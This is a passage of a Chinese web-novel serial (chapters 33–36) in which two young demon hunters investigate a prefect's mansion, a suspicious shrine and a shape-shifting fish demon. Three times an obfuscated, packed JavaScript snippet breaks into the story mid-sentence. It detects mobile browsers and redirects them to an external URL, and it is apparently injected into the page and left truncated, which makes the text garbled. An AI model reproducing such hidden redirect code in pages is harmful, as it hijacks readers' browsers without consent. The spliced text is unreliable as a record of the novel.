可宋如遇并不回答,就是那样笑着看着她,颧骨微耸,脸部肌肉如同被钉子钉了起来,而露出诡状的唇畔也如同被绳子吊了起来,前夜看着还是昳丽的容颜,此刻倒像是一张皮敷在那儿,松松垮垮的。 正不知所措间,门被缓慢而轻悄地推开,带来一室的浊风,粉色帐幔被吹得起起落落,宁寂近乎死寂的夜里,风声和呼吸声都被放大无数倍。 “嘻嘻嘻嘻嘻——你好玩,你不是人——” 少女般的笑声在耳畔爆开,尖锐刺耳又充满令人毛发悚立的喜悦。 谢惊春不寒而栗,登时一阵抽搐。 她转动僵硬的脖子,又缓缓低下头,看着自己的胸口。 一只手不知何时从肋下穿出,伸进她的心口,鲜血如瀑,霎时铺满了大半被褥,在她不可置信的眼神中,她的心脏被猛地掏出,跳动着,衰竭着。 “金……金樽……” 在倒下去的那一刻,她只看到,宋如遇疯狂啃食着她的心脏,如猛兽一般露出猩红獠牙。 “金樽救我——” 谢惊春双手后撑着床,大喘着气,湿透的衣裳仿佛刚从河里的出来,苍白的面庞不注意看,还以为是水鬼现世。 她摸了摸胸口,深咽了几口口水,看着身边熟睡的宋如遇,又回想方才梦中的场景,不由得打了个冷战。 太真实了,死亡的感觉。 谢惊春力竭般的靠在床头,仰头闭目。渐渐的,呼吸顺畅下来,她赶紧拿过身旁小桌几上的金樽,紧紧抱在怀里,那种无力感才消散一些。 骤然之间,无声被撕裂,与梦中一模一样的娇俏笑声旋过门缝,直冲着谢惊春而来。 “嘻嘻嘻嘻嘻——你既不是人,就来陪我吧!” 谢惊春陡然睁眼,神经再次紧绷,这次不可能是梦境了。 她连忙翻身下床,警惕地看着床上只有模糊身影的宋如遇,谨慎地用鞘戳了戳床上人。 “嗯……等会再起……” 床上人嘤咛着,又似乎翻了个身,衣服摩擦的声音让她略略松了口气。 “你不让我进去,我就去找他了。如果他也不让我进门,我就把你们两都杀了!嘻嘻嘻嘻嘻嘻——” “你,你是谁?!” 娇俏女声并不答,反而反问,语气间还带着轻蔑:“呵呵呵,那你又知道自己是谁吗?” “惊春啊,你一个人在嘀嘀咕咕说什么呢?”宋如遇被吵醒,坐了起来,一头乌发垂落,她打了个哈欠,有气无力地问道。 谢惊春紧崩着一根弦,咽了咽口水:“宋姑娘小心!” “嗯?小心什么?” “有怪东西要进来。” 那道女声生气了,尖牙磨砺,啸出几声,如鸮啼狼嚎,连带着窗纸振振:“哼!你才是怪东西呢!你这罪人!” “我不是罪人!”谢惊春突然受了刺激,大声喊道。 床上的宋如遇有些害怕:“什么罪人不罪人的,惊春你到底在干嘛?你别吓我……” 谢惊春深深吸了一口气,脑袋又是阵痛,她死死地捏住金樽,手上印出深深的红痕,光脚走在木地板上,紧张到丝毫没有察觉到凉意:“宋姑娘,你真的没听见吗?” 宋如遇一脸不解:“什么?听见什么?惊春,快上床睡觉吧,你不会梦游了吧。” 谢惊春没做声,只是黑暗中摇了摇头,也不敢去点烛。 等到降真燃尽,诡异的女声再也没有传来,谢惊春一下子力竭,扑倒在地。 宋如遇听到长剑铿锵落地的声音,连忙冲了过来:“惊春!” * 第二天一早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192706|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,谢惊春顶着一团乌青,看了看熟睡中的宋如遇,蹑手蹑脚地开了门,想好好活动一下身体,吸收新鲜空气。 地上的雨水几乎快被夜风吹干,唯有那些浑浊的小水洼在日光下射出淡淡的粼光。 一夜过去,整个刺史府重见明亮,青瓦砖墙,亭阁水榭,假山流水,花木扶疏,谁看到如此景象都很难将其与阴森骇人联系在一起。 谢惊春伸了大大的懒腰,肩颈处的酸痛并没有消减多少,也不知道自己昨晚是去偷鸡了,还是去摸狗,头疼得炸裂,偏生还醒得早。 “让她带我们去西院。”路植晏靠在门框上,背上同向斜插的双剑蓄势待发。却在看见她那糟糕的状态时,不得不皱眉问一句,“你昨晚是去偷鸡了还是摸狗了?” 谢惊春一个哈欠顿在半空,急忙抹了把脸:“啥也没干但感觉好累。” 她眼睛转了转:“你是说宋姑娘?” “对,她以前不是住在西院吗?让她……” “你们是在说我吗?”宋如遇从背后抓住惊春的胳膊,精神焕发,神采飞扬,头发都已经梳好了。 而谢惊春一夜没睡,脸色微微发黄,甚至连头发都感觉油油的,乱糟糟的,耷拉在额前没有丝毫生气。 谢惊春回过头,笑着说道:“对啊,我们想去西院,你带我们去吧。” “我是晚上偷跑出来的,也是该回去了,被我的丫鬟发现告诉我爹就糟了。” 路植晏并不在意这些,只说了一句:“劳驾。” 宋如遇和谢惊春随便洗漱了一下,可是因为头发太乱了,谢惊春必须得重新梳头,不敢耽搁太长时间,依旧是随便编了个粗辫,就赶紧跟着他们出门了。 隔着亭阁,谢惊春远远的看见那一地的铜钱已经不见了。 心中哀叹一声,暗暗记下小账本。 “呐。”路植晏突然给她一锭银子,撇开脸讥诮道,“掉钱眼里了。” 谢惊春一愣,眉毛弯弯,欢欢喜喜地接过银子:“我是这样的人吗?” “可能真是。” 宋如遇挽上谢惊春的胳膊:“惊春,你昨晚梦游了你知道吗?” “什么?!”谢惊春表示一万点震惊,所以今天早上这么累是因为梦游?只是,她怎么不知道自己有梦游的习惯? 她如果敢梦游的话……早被打死了。 “是啊是啊,你光着脚跑下床,紧张兮兮地举着剑,嘴里还不停地嘀咕着「小心」,「你是谁」这样的话,说完之后你就趴在地上睡着了,还是我给你拖上床的。” 宋如遇讲得绘声绘色,谢惊春虽然一点也不记得,却也不觉得自己昨天晚上真的犯蠢了。 被宋如遇看到梦游是有点尴尬,如今她一板一眼地讲述出来,且身边还站了个路植晏那就是非常尴尬,尴尬到恨不得钻地缝里去。 她面上干笑着,只能悄然拉了拉宋如遇的衣袖,示意她快别说了,给自己留点面子。 宋如遇倒也不是什么情商极低的人,察觉到谢惊春的小动作,她看了眼一旁的路植晏,马上停了话。 本默不作声的路植晏不知发哪门子神经,突然揶揄道:“谢大小姐居然还会梦游?” 又来?已经好久没听到谢大小姐的称呼,谢惊春还有点不习惯,如今听来,只觉得浑身鸡皮疙瘩掉一地,阴阳怪气的腔调让她顿时把尴尬抛之脑后。 “路二公子居然还有怪癖?” 一二三,路植晏彻底闭嘴。 呵,跟我斗。 34. 松鼠与金陵(十四) 西院只有四间房屋围绕,中间凿出一蓄小池塘,色翠翠的荷叶一圈一圈的铺在水面,自由的水珠在上面随风翻滚,时不时会有几滴掉入塘中。 昨夜只洒了几滴雨,今晨又是灿烂朝阳,稀稀拉拉的阳光从旁侧的槐树缝隙中洒下来,池面漾起金箔。 哪怕接受了夏雨的洗礼,这水塘依旧清澈,几条橙色,红白相间的鲤鱼在其间穿梭,皆若空游无所依,偶尔用小脑袋撞撞荷叶,自在极了。 “你们看吧,我也觉得这里风水挺不好的。”说完,宋如遇便咳了起来,如风吹弱柳,仿佛下一秒就能被风刮破刮跑了的似的。 宋如遇的目光一直停留在路植晏的身上,那双天生看人自带深情的桃花眼,在旁人看来,完全就是看心上人的眼神。 路植晏突然看过来:“宋小姐还是进屋吧,待会可能需要布阵引风。若是伤到小姐,可就不好了。” 少年的语气慵懒随意,却让人难以抗拒。 他一身黑衣,腰封处的暗纹在阳光下散发出明媚的金灿灿。耳下铃,脖间木和背上剑让他轩若朝阳的气概中,生出炽烈的少年不羁与恣意狂妄。 长得真好看啊,不愧是路知慎的弟弟,攻略你,真不亏。 可惜了。 宋如遇低下头,眼睛中似覆上一层淡淡的薄霜。再抬眸对上他的视线之时,她的柳眉微蹙,霜雪化去,双目尽是惹人疼惜的脆弱:“既然如此,我就先进去了,若是有事,路公子可随时来找我。” 转过身,宋如遇神色陡变:“很急吗?” 【很急。】 碧儿三步并作两步地冲过来:“小姐,你去哪儿了?刚才大人来过了。” 是昨夜来通报刺史回府的小丫鬟,她穿得和镜儿一样的丫鬟服饰,可她不是镜儿,镜儿已经死了。 宋如遇有须臾间的怅惋,轻拍碧儿的肩膀,似是安慰自己:“碧儿,他说什么了吗?” “大人已经听闻镜儿和猫妖之事,只让奴婢以后留在小姐身边照顾,其他的就没再说什么了。” 碧儿说完,瞧见谢惊春和路植晏,正欲福身,又想起什么,转而小跑着过来,从袖子里掏出一封信:“谢姑娘,有你的信。” “我的?”谢惊春有些丈二和尚摸不着头脑,“可知是何人让你送给我的?” 碧儿摇摇头:“婢子不知,是晨时出门给小姐买口脂时,一个小叫花子硬塞给婢子的,说是只让谢姑娘一人看。” “好,谢谢。” 谢惊春茫然若迷地接过,想不出整个金陵她何曾认识过府外的人。又能是何事,竟还值得让那人送信给她? 一旁的宋如遇催促着她赶紧打开看看:“真是奇怪,惊春你不是第一次来金陵吗?” 路植晏道:“写信之人既是让你一人看,想必是有什么用意,你还是自己先看吧。” 谢惊春觉得有理,抱着好奇心,转身走开了几步,才打开信笺。 信纸薄薄一张,毛糙粗劣,墨迹洇湿,将她的指尖都染黑了。 只见上面歪歪斜斜地写着:有危险,妖怪的下一个目标就是你,快离开刺史府。 还没看到最后一个字,谢惊春来回摸额头的手就陡然停住,信纸在也被捏出杂乱的褶皱。 什么情况?! 她将信纸翻过来又看了一遍,又看到了几个字:巳时于府后门见,切记,只你一人。 谢惊春久久不能平静,又沉吟一会儿,仔细判别这封信的真假并猜测写信人为何人。 只许她一人前去,总觉得有什么阴谋,若是个拐卖局怎么办?可万一,此人真的能提供线索呢? 她并未有任何隐瞒,直接将信上内容给宋如遇和路植晏看。 “那不就是现在?”宋如遇道。 *** 刺史府后门对的是一个暗巷,没住什么人,谢惊春等了两刻,还是没见到任何人影。 “春春,春春!” 松鼠在包里蛄蛹,想把头伸出来,却被谢惊春一把按下。 “春春,能让我出来吗?我快憋死了。” 因为符阵的存在,路植晏在破烂包上施了层禁咒,松鼠便只能在包里待着,待了半日,它已经受不住了。 谢惊春蹲在墙头,目光不断在暗巷中逡巡:“那人还没出现,小松鼠你的身份太敏感,还是不要轻举妄动的好,记住以后前往不能再擅自跑出去了。” “行吧……” 巳时已过,日头变得刺眼,谢惊春眯起眼睛,拿着信纸又看了一遍,确定就是巳时。可这人怎么还不来,总不能是什么恶作剧吧?她才到金陵多少天,得罪何人了? 大约过了半个时辰,一个带着幕篱的女子推着小车,鬼鬼祟祟地从巷尾走来,一步三回头,生怕身后有尾巴。 她压紧帽檐,拎着裙子踏上小阶,等了小会她便有些等不及,紧张地从门缝中偷看。 谢惊春从墙上一跃而下,稳稳落在女子身后,轻轻拍了拍她的肩膀:“你好,我在这儿。” 对上少女水灵的双眼,带着幕篱的女子却像是见鬼一样吓了一跳:“谢姑娘!” “云娘?”谢惊春的防备心降低了些许,可疑心却直线上升,“真是你递话给我的?” 顺了几口气,云娘点点头:“是。如果不是因为你长得有几分像我的侄女,我也不会冒险帮你一把。” “帮我?” 谢惊春是越来越想不明白了:“你信中所言是何意?难道说你有其他妖怪的线索?” 云娘点点头,又摇摇头:“因为我想起一件重要的事情。” 她掀开幕篱:“发现夫人自缢的那天早上,我好像闻见了一股香味,和姑娘身上的香,很像。这让我想起一个多月前,许老四曾和我说过,少爷去乐州的前一夜,身上也突然多出一种香味,之后少爷便失踪了,连尸骨都找不到。我思量着,这莫不是什么妖物留下的标记,身上有此种味道的人都可能有危险。” 听完此言,谢惊春抬起手臂闻了闻,可她什么也没闻到,疑道:“奇怪,我怎么闻不见?” 云娘不信邪,深吸一口,却像是被刺鼻的味道呛到了,捏着脖子咳了几声:“你怎么会闻不见?这般明显!” 谢惊春想起自己刚进小佛堂时,也会被降真香的味道呛到。 她问道:“那宋公子去乐州的前一天晚上,可去过夫人常待的小佛堂?” “这个我就不……”话没说完,云娘就立刻改口,狠狠点头,“不对,去过去过!” “那天夜深,一向不许我们这些下人踏进小佛堂的夫人,突然喊了我。” 云娘努力回忆:“夫人当时要了一把剪刀和三尺布缎。说是……说是许久未见少爷小姐,要为她的孩子们裁衣裳。” 谢惊春觉得蹊跷至极:“半夜裁衣裳?” “对,所以她难得先后喊来了少爷和小姐,给他们量尺寸。等少爷小姐相继离开时,已接近子时,大人也进了小佛堂。” “然后……然后就有点奇怪了,我如厕回来继续守在门口,听里面一点动静也没有,正准备问他们是否需要什么,却见镜儿端过来一碗……熏腊肉?说是大人唤的,还特意叮嘱了不要切片,只要整块。” 熏腊肉?半夜子时?观音前?随便两两组合都很怪异。 “他们在里面吃熏腊肉?” “吃了好像又没吃。” “这怎么会是吃了又没吃,没有人进去收碗筷吗?” “好像没吃……”云娘突然盯着虚空,整个人都不妙了,“但我又感觉端进去的和端出来的,不是一个东西。” “端出来的,似乎……有血。” 谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200032|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊春心尖一颤,大为纳罕:“血?!” “不是不是,我不确定,大半夜的,我也没瞧清。” 一想到一整块熏腊肉上淌着血的画面,谢惊春就觉得一阵胆寒,她甩了甩脑袋:“那你没在宋大人身上闻到过这种香味吗?” 毕竟现在,宋括只要回府,人基本上都在小佛室。 “没有吧,现在大人都待在小佛室,负责洒扫的是别的丫鬟,我这几个月都没怎么和大人接触过。” 说完,云娘又谨慎道:“我怕妖物已经混在其中,若被它发现是我透露了消息,我还活不活了?所以只让你一人过来,此事没有其他人知道吧?” 额…… “没有。”谢惊春撒起谎来脸红心跳,但眼神坚定地像是要踢正步。 云娘半信半疑地点点头:“那就好,这可是关乎你我二人性命之事。” 所有符箓中谢惊春画得最快的就是护身符,她直接从怀中掏出一沓递给云娘:“多谢多谢,这些符你时时刻刻带在身上,若想起其他事,可随时让人带话。对了,你现下住在何处?万一有何问题我也好去找你。” “城东明满巷第五间。”云娘将符收在心口,“姑娘还要待在这里吗?我昨夜一想通,便十分庆幸被赶出了府,让我现在待在里面,这怪事咄咄的,比死了还难受,还在乎那点子钱做什么?” 谢惊春上了小阶,回头一笑:“是,我出身积玉山谢氏,拜当阳门下,虽是初出茅庐的捉妖师,但降妖除害,自是己任。” 云娘愣了愣,叹息一声:“也是。” 她想起什么,从小车上拿出一包东西递给谢惊春:“这是红汁樱桃丸,我以前跟许老四学的。别的不说,这个确实还挺好吃,姑娘尝尝。” 说着,云娘还捻出一粒,递到谢惊春嘴边。 谢惊春先还犹犹豫豫,但云娘都已经把樱桃丸碰到她的唇,不吃也得吃了,她道了声谢就吃了下去。 不吃还好,一吃发现,巨好吃! 红汁樱桃丸也不知如何做的,卖相不咋地,黑黢黢的,闻起来也没什么味道,但一进嘴里,一股愉悦身心的甜味在舌尖蔓延开来,甜而不腻中还带着难以品觉的酸,咬一口红色汁水迸溅,在夏日中吃着尤为清爽。 “哇哦,好吃好吃!”谢惊春说不出夸赞的话,就一直竖大拇指,还拿出几颗送到自己的包里。 松鼠的小爪子抚过谢惊春的掌心,也吧唧吧唧嚼了起来。 和春春的喜好就是非常相似,跟着春春就是好捏。 云娘对谢惊春的反应十分满意,眼角飞起欣慰:“我就知道你喜欢吃,看你喜欢吃桃花糕就知道。” 谢惊春狠狠点头:“多谢云娘!” 她一边吃着一边走进门,头也不回:“都听见了?需不需要我再复述一遍?” “不必。” 路植晏慢悠悠地从树后走出,几步就跟上她的步伐。 “喏,这个巨好吃,你也吃点。” “我不吃,什么东西黑不溜叽的?”看着她手中那些密密麻麻像屎壳郎一样的东西,路植晏嫌弃地甩甩手,示意她拿远些。 “它就是卖相不好,吃起来很好吃的!”谢惊春掏出金疮药的小空葫芦,往里面塞了一堆,然后扔给路植晏,“你要实在不想吃,就当放你那儿保存好了。放我这里,我和松鼠两个可能一天就能吃完,那明天就没得吃了,会想的。” 路植晏“啪”一下接住,警告道:“明天拿走,我又不是什么仓储库。” “行行行。”谢惊春胡乱应着,又自顾自地吃起来。 路植晏只站在她身侧,没有刻意凑近:“香味?我如何没闻见?” 谢惊春抬眼试图去看自己的刘海,忽然应激般地撇开头,加快了步伐,似要躲着他:“所以说,我们最好去一趟小佛室。” 35. 松鼠与金陵(十五) 宋括伏在矮桌前打盹,直到身上披的薄外衫掉了,才幡然惊醒,额间还残留着几滴汗珠。 又梦见清鸾了。 他侧头看了看画像,又低下了头,静静坐着,几根银发从鬓边散落,看起来既落寞又悲戚。 像笨重的骆驼起身,宋括缓慢站起又重重跌下,扶着膝盖顿了片晌,才重新站起,脚步不利索地来到佛龛前。 开了对门,玉观音的真容显露,虔诚地奉完香后,他扯着尚有余痛的膝盖跪下:“大慈大悲无上祖,大慈大悲观世音,愿我……” 咚咚咚。 有人敲门。 “阿爹——” 宋括开了门,发现是宋如遇站在外头,声音颤颤的。 “不好好在西院待着,你怎么来这儿了?你知不知道你……” “女儿知道,又是我自小身体不好,道长说过,只有西院此等风水才能保我平安无虞。”宋如遇一开始还是半嬉皮笑脸,刚说完,脸色便倏尔一沉,“阿爹,我想问你一件事。” 宋括背过手,严肃冷声:“何事?” “阿娘是不是还活着?” 如一道惊天炸雷在耳边爆开,宋括瞳孔骤然收缩:“如遇!你在胡说什……” “我刚刚见到阿娘了。” 宋括一边觉得不可能一边试着确认,语气竟是平和了下来:“你在何处见到她的?” “就在西院槐树后,她穿的还是生前最爱的素衣。” 宋括盯着女儿看,最后还是败下阵来,竟对这样荒诞的事存了几分相信:“带我去看看。” 等宋如遇故意带走了宋括,谢惊春和路植晏才廊角处走出。 他们轻手轻脚地推开门,几乎和黑夜融为一体的影子在地面轻晃。 “呼”,谢惊春甫一吹亮火折子,便皱了皱鼻子:“路植晏,你觉不觉得,有点臭?” 因为不敢打草惊蛇,他们没有点蜡烛,只是共用一个火折子,路植晏走在谢惊春身后,微微弯身,凑在她的耳侧,半晌才道:“好像是有点。” 昏黄火光映在两人的眼中,好似燃起星星之火,又如湖面涟漪丛生。 谢惊春顺着味道,慢慢走向佛龛。 凑近闻了之后,她控制不住捂住鼻子。 非常臭!像是一块夏天放了很久的肉和着某种幼虫尸体一起腐烂的味道。 突然闻到如此浓烈的腥臭味,谢惊春下意识退了一步,却一肘捣到身后人的胸口,后脑勺别的那些花里胡哨的发饰,也撞上他的下巴,霎时,一阵闷哼和倒吸的呼吸声传来,却立刻戛然而止。 “对不起……你疼不疼?” 谢惊春揉了揉自己都有点被撞麻的胳膊肘,想着路植晏应该更疼。 她朝后昂头,想查看他的伤势,在发现这个姿势极其不便后,她又弯下腰扶着膝盖,侧仰着头勾起路植晏的下巴:“还疼吗?” 路植晏别过头,实则右手握拳,死死摁住大拇指,愣是将呼之欲出的疼咽了下去,他板着一张脸,一边恶狠狠地乜了谢惊春一眼,一边将她手中的火折子夺走。 一万句想问候谢惊春的话都化成了一句:“我来!” 谢惊春自知理亏,乖乖走到他旁侧。 可蜡烛在他左手上,站在他右边就会很难看清东西。 她默默将路植晏的左手抬得高高的,仰头一看:自由女神像! 谢惊春咬咬牙,不管其他,将他的胳膊搭在自己肩膀上:“友谊万岁,好兄弟,一起走。” 路植晏冷眼瞧着她摆弄自己的手,正准备挣脱,又突然觉得谢惊春这个身高用来搭胳膊非常之舒服,想了想,没说什么。 “这里面放了什么?怎么会这么臭!” 谢惊春慢慢抓住佛龛小门的底部,却发现怎么都扯不开,只有她两掌宽的小木门竟像是装了铅器,再稍微用力些,还能带动整个佛龛开始摇晃,发出嘈杂的声音。 此门并无钥匙,更无把手。 “不行。”谢惊春看着自己快断掉的指甲,颓败地摇了摇头,“宋括每天在这里,他难道闻不到吗?” “或许就是因为知道,才会怕人发现?” 这个搭肩的姿势,路植晏刚好能快速拔出金樽,他试图将其插进缝里从而撬开,可依然无用。 “为什么不用你的剑?”谢惊春不悦道。 呵,别人的东西就可以随便造是吧? 她刚想避开,又不小心扯到头发,不由低低嘶痛一声:“你压我头发了!” 她今天火速洗了头,在发现掉了七根头发后,心都快碎了,所以现在非常珍惜。 路植晏抬抬胳膊,把她的辫子甩到前面去,非常自然地继续撑着这个“撑杆”:“别废话。” 谢惊春知道今夜是来干什么的,便不与他纠缠,昂头看向龛顶的描金仙鹤和太极双鱼。 仙鹤展翅欲飞,身上的金漆像是烈火熊熊燃烧。 “鸟焚鱼烂,内乱而亡?” 他们面面相觑,同时说出这句话。 就在这时,门外传来轻微的脚步声。 宋括回来了?! 两人当机立断,吹灭了火光,匆匆绕到书架后面,水浪一般的裙摆相撞。 书架近墙,堪堪留出一人侧身的位置,角落里还放了一张圆凳,想必是宋括是为了随地看书留的。 屋内一片黑暗,脚步声又慢又谨慎,像是摸索着什么东西。 谢惊春背靠着墙壁,在这样安静的情况下,连呼气都得慢慢的,断断续续的,生怕引起任何声响,她一动不动,垂眸仔细听着脚步声的方向。 谢惊春的呼吸太容易乱了,越是静谧的环境,全身好像找不到一个支撑点,没有安全感,于是扶着墙坐在小圆凳上。 阴云飞离,浅淡的月光正巧从窗前刺进几缕,月光透过书层间的缝隙,打在路植晏的眼皮上,他在谢惊春身边缓缓蹲下身。 像是察觉到什么,宋括动了动脖子,想要回头。 “爹,你到底要回来拿什么?怎么也不掌灯?” 就在视线要下移时,宋如遇借着皦光,失张失致地跑进来,险些摔倒,一眼望过去,没望见谢惊春和路植晏,才松了口气。 宋括没再继续往回看,只是抄起桌上的薄衫:“夜里还是有些冷的,如遇,你也要多穿些。” 直到木门合上,脚步声渐远,谢惊春准备起身,然而忘记身边还蹲了个人,不小心撞到,路植晏险些失去重心,下意识伸手,手掌意外覆在一只猫头鞋上。 鞋面是云丝暗绣锦缎,因主打轻便,履前的两只猫耳朵做的不大,却也栩栩如生地翘着,让人忍不住拧两下。 “抱歉。”路植晏压着声音,低低的,说得极快,简单的两个字像是两颗黏糖黏在一起,化在嗓子眼,若不是周围实在静谧,否则根本听不清。 没多想这竟是路植晏第一次对她说抱歉,谢惊春只含糊地应了一声:“嗯,没事。” 嘴上虽说着没事,她的身体却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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路植晏看着她高高抬起的手:“欺师?谢惊春,我本来还想新教你些东西,现在,哼,算了。” “你哪只眼睛看见我欺负你了?分明是你欺徒,而我只是拉拉袖子而已。再说了,少说点话吧你,小心宋大人回来了。”谢惊春一边轻声,一边将衣袖顺下来,转而摸观摩着观音像,“好像没那么臭了,但这观音像有点怪。” 转移话题的方法过于拙劣,路植晏一句“你明明说得更多”憋在肚子里,不情不愿道:“玉净瓶不见了。” “好像真是。”谢惊春微微弯腰,伸向玉观音空荡荡的双手。 俶尔,一点寒星乍现,一根银针在光亮与阴影中交错,刹那间如利箭飞出。 她当即察觉到异样,却被路植晏早一步拽过。 谢惊春觉得自己整个人是被甩起来的,本以为肩腰会重重撞上书架,可预想中的疼痛没有传来,一双手挡在她的腰和脑后。 路植晏的发丝从两侧悉数垂下,有的轻抚过她的脸,有的几乎要伸进她的领子里,发间铜钱在她耳边旋转,时不时传来冰凉的触感。 暧昧氛围还没来得及展开,银针正中桌上杯盏,发出清脆突兀的声响。 两人一惊,近在咫尺的眼睛对视后,当即默认分工,一个人将东西归回原位,一个将破碎的瓷盏藏进龛前的小桌下,而后火速从侧窗跑出去。 跑到离小佛堂有一段距离后,他们才稍稍松口气。 “观音像里居然藏有暗器?!”谢惊春还没能从突然出现的变故中缓过来,不停地捶着掌心。 他们两个走得很快,路植晏道:“真正要藏的不是暗器,肯定另有其物。” “肯定的,说不定就是玉净……” 铃声乍然响起,路植晏脚步一滞,接着没有丝毫犹豫,即刻转身:“符阵动了。” 36. 松鼠与金陵(十六) 一路上,廊下丝绦翻飞,带动小铃乱震,所有符箓闪出金光,如烟花炸在半空中。 路植晏和谢惊春跃上屋顶,一路飞奔,身后明月如轮盘,将他们的身影镶嵌在其中。 “西院,一个,中上。” “是。”谢惊春跟上他的步伐,从肩头抽出金樽。 路植晏双指轻点胸口,一排符箓霎时飞出,他掌心划过,眉目一凝:“去!” 而此时西院的宋如遇和宋括,还有碧儿,以及另两个奉茶的小丫鬟吓得赶紧往屋内跑,此时也顾不得什么主仆之分,都挤作一团。 还是宋括饱经世故,面对这样的场景,哪怕心中害怕,却依旧没乱分寸,将路植晏给的符箓悉数贴在门上后,他低喝道:“都别吵,有符阵在,不多时,齐司使和路指挥使便会赶过来,咱们不用怕!” 阴风如凉刀子一样刮过,门上黄符振振,风从花窗卷来,发出如人般的吐息声,烛灯被扑灭,黑漆漆的屋子里,也没人敢轻举妄动去点灯。 只见一个身着白衣,披头散发的女子走在檐下,撒娇卖俏似的冲屋里几人说道:“都出来玩嘛,躲着做什么?” 白衣曳地,裙摆却未掀起任何涟漪,她身上湿得像是刚从水里爬出来,藤蔓般的头发拖在地上,拖出长长的水渍印,歪歪斜斜,蜿蜒扭曲。 话音刚落,白衣女子便听到一阵古怪的铃声,搅得她耳朵生疼,排排符箓飞来,她措手不及,直接抬手硬生生接下,手上冒出灰烟。 路植晏和谢惊春并立于凌霄花墙下,夏风竟透寒,一入西院,像是深踩进积雪,令人簌簌战栗。 白衣女子怒不可遏,额头黄色显现,冒出层层鳞片状的东西,她扬手做抓取状:“我只是想找你们玩,你们却要这般待我!实在可恶!” 呵,是个鱼妖。 路植晏走了过来:“你是从哪里冒出来的?之前又藏于何处?” “要你们管!” 说完,鱼妖却没了动作,反而一脸得意地看着他们。 谢惊春觉得不对劲:“水声?” 她仰头望去,只见铺天之水如盖,几乎将西院都笼罩起来,仿佛下一刻就会倾倒而下,让整个金陵都沦陷。 她下意识缩着肩膀捂住头,恨不得把自己缩得更小,生怕水将自己淹没:“来真的啊?!” 路植晏翻了翻眼皮,头都没抬,转而收了剑:“哦?你想怎么玩?” “猜「谁不是谁」,如何?” “接下来你们不能借用任何外物识我,而我会变成你们当中任何一个人,只要猜出我的身份,就算你们赢一局。两局两胜,你们输一局我就会杀了我所幻化之人。若是被我知道你们借用外物,我就把整个金陵都淹了!” 路植晏摇了摇头:“不对。” “有什么不对?” “我们赢了能得到什么你还没说呢。” 鱼妖觉得他们这是在得寸进尺,一手搭着腰,一手点来点去:“咦~今夜,不杀,你们,可不就是你们得到的最大好处。” 谢惊春看还有回旋的余地,稍稍松了点气,也学着她的动作:“可是,这样,不公平。” “啊?不公平吗?”鱼妖食指抵着下巴,圆溜溜的黑眼睛满是疑惑,她仰头想了想,“那好吧,你们赢了,我就告诉你们一个惊——天大秘密。” 路植晏看了谢惊春一眼,又好整以暇地对鱼妖说:“好啊,那,开始吧。” 白衣女子像得了糖果的孩子,欢欢喜喜地拎起裙子,扭来扭去,消失在黑夜中。 周围再度陷入静悄悄,只有悬在半空中的水在哗哗流动,好似随时会兜头浇下来将所有人淹没。 屋内的几人虽看不到洪水的威胁,却也将门外的对话听得清清楚楚,如今门外一静,他们更加恐惧,碧儿害怕地快哭出来,揪着身边宋如遇的衣袖死死不放。 宋如遇抚上她的手表示安慰,其实自己的手也冰得似铁。 宋如遇的声音抖抖的:“惊春,我们该怎么办?” “有路植晏的符纸在,你们只要不出来就不会有事。” “好……” 两人静静候着,不知这鱼妖到底想整出什么幺蛾子,槐树飒飒,树叶相磨像是落雨声,安静的夜幕下又罩着一层水幕,叫人忐忑不安。 突然,一道尖叫声传来,接着,又是一道更加惊恐万分的尖叫声划破阴森的氛围。 “死人了!死人了!!” 宋括想拦也拦不住,一个小丫鬟豁然打开门,大喊着:“杀人了!” 路植晏和谢惊春脸色微变,进门一看,门槛边铺了一圈的血,碧儿躺在地上,面色惨白,心口处都多出一个红得发黑的血窟窿。 宋括已经掌起灯,灯光将碧儿青白发灰的脸照出几分暖光,而所有人都看向离尸体最近的宋如遇。 宋如遇才意识自己手上有把满是鲜血的剪刀,她震惊地跌坐在地,赶忙把剪刀丢开,手在裙子上一顿乱擦,双腿乱蹬着连连后退:“不是我!剪刀怎么在我手上?!” 她已经被吓得方寸尽乱,没等其他人说什么,她就哭着爬过来,紧紧抓着谢惊春的裙摆:“惊春,你相信我,我也不知道这剪刀何时在我手上的。” 谢惊春蹲下身将宋如遇搀起,一遍又一遍地抚着她的脸颊安慰:“如遇,你先别激动,没谁会因剪刀就断定你是杀人凶手,鱼妖还在,我们不能先自乱阵脚。” 宋如遇发髻散乱,呆滞地瞪着眼:“我想起来,当时好像有人往我手里塞了个东西,我刚想问是什么,方才那丫鬟就突然跑……” 谢惊春幡然想起什么,回头对路植晏说道:“一开始跑出去的那个小丫鬟呢?” 如果她是鱼妖,岂不是从一开始就脱离了众人视线,怀疑也很难怀疑到她头上,毕竟她也属于「你们当中任何一个人」。 谢惊春对自己狠下心:“我去追。” “等等。”路植晏按下她的肩膀,眼睛却看向另一边。 “你们在做什么?” 众人回过头,一个个被惊地完全说不出话来。 